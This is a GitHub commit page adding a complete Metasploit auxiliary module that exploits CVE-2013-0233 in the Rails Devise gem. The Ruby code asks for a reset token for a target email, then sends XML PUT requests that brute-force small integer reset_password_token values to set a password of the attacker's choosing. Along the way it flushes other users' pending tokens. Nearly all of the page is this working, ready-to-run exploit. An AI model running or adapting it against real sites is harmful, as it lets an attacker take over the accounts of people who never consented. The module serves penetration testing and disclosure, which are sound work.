Skip to content

Commit 55cba56

Browse files
committed
Aux module for joernchen's devise vuln - CVE-2013-0233
1 parent 7370d7d commit 55cba56

File tree

1 file changed

+139
-0
lines changed

1 file changed

+139
-0
lines changed
Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Rails Devise authentication gem Password Reset',
17+
'Description' => %q{
18+
The Devise authentication gem for Ruby on Rails is vulnerable
19+
to a password reset exploit leveraging type confusion. By submitting XML
20+
to rails, we can influence the type used for the reset_password_token
21+
parameter. This allows for resetting passwords of arbitrary accounts,
22+
knowing only the associated email address.
23+
24+
This module defaults to the most common devise URIs and response values,
25+
but these may require adjustment for implementations which customize them.
26+
27+
Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
28+
except PostgreSQL or SQLite3.
29+
30+
Tested w/ v2.2.2, 2.1.2, and 2.0.4.
31+
},
32+
'Author' =>
33+
[
34+
'joernchen', #original discovery and disclosure
35+
'jjarmoc', #metasploit module
36+
],
37+
'License' => MSF_LICENSE,
38+
'References' =>
39+
[
40+
[ 'CVE', 'CVE-2013-0233'],
41+
[ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'],
42+
[ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'],
43+
],
44+
'DisclosureDate' => 'Jan 28 2013'
45+
))
46+
47+
register_options(
48+
[
49+
OptString.new('URIPATH', [ true, "The request URI", '/users/password']),
50+
OptString.new('TARGETEMAIL', [true, "The Email address of target account", '']),
51+
OptString.new('PASSWORD', [true, 'The password to set', "#{Rex::Text.rand_text_alpha(rand(10) + 5)}"]),
52+
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
53+
OptInt.new('MAXINT', [true, "Max integer to try (Tokens begining with a higher int will fail)", 10])
54+
], self.class)
55+
end
56+
57+
def generate_token(account)
58+
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
59+
60+
print_status("Generating reset token for #{account}")
61+
62+
postdata="user[email]=#{account}"
63+
64+
res = send_request_cgi({
65+
'uri' => datastore['URIPATH'],
66+
'method' => 'POST',
67+
'data' => postdata,
68+
})
69+
end
70+
71+
def clear_tokens()
72+
print_status("Clearing existing tokens")
73+
count = 0
74+
status = true
75+
until (status == false) do
76+
status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5))
77+
count += 1 if status
78+
end
79+
print_status("Cleared #{count} tokens")
80+
end
81+
82+
def reset_one(password, report=false)
83+
print_status("Resetting password to \"#{datastore['PASSWORD']}\"") if report
84+
85+
(0..datastore['MAXINT']).each{ |int_to_try|
86+
xml = ""
87+
xml << "<user>"
88+
xml << "<password>#{password}</password>"
89+
xml << "<password_confirmation>#{password}</password_confirmation>"
90+
xml << "<reset_password_token type=\"integer\">#{int_to_try}</reset_password_token>"
91+
xml << "</user>"
92+
93+
res = send_request_cgi({
94+
'uri' => datastore['URIPATH'] || "/",
95+
'method' => 'PUT',
96+
'ctype' => 'application/xml',
97+
'data' => xml,
98+
})
99+
100+
#binding.pry if report
101+
102+
case res.code
103+
when 200
104+
# Failure, grab the error text
105+
# May need to tweak this for some apps...
106+
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
107+
if (report) && (error_text !~ /token/)
108+
print_error("Server returned an error:")
109+
print_error(error_text)
110+
return false
111+
end
112+
when 302
113+
#Success!
114+
return true
115+
else
116+
print_error("ERROR: received code #{res.code}")
117+
return false
118+
end
119+
}
120+
121+
print_error("No active reset tokens below #{datastore['MAXINT']} remain.
122+
Try a higher MAXINT.") if report
123+
return false
124+
125+
end
126+
127+
def run
128+
# Clear outstanding reset tokens, helps ensure we hit the intended account.
129+
clear_tokens() if datastore['FLUSHTOKENS']
130+
131+
# Generate a token for our account
132+
generate_token(datastore['TARGETEMAIL'])
133+
134+
# Reset a password. We're racing users creating other reset tokens.
135+
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
136+
status = reset_one(datastore['PASSWORD'], true)
137+
status ? print_good("Success") : print_error("Failed")
138+
end
139+
end

0 commit comments

Comments
 (0)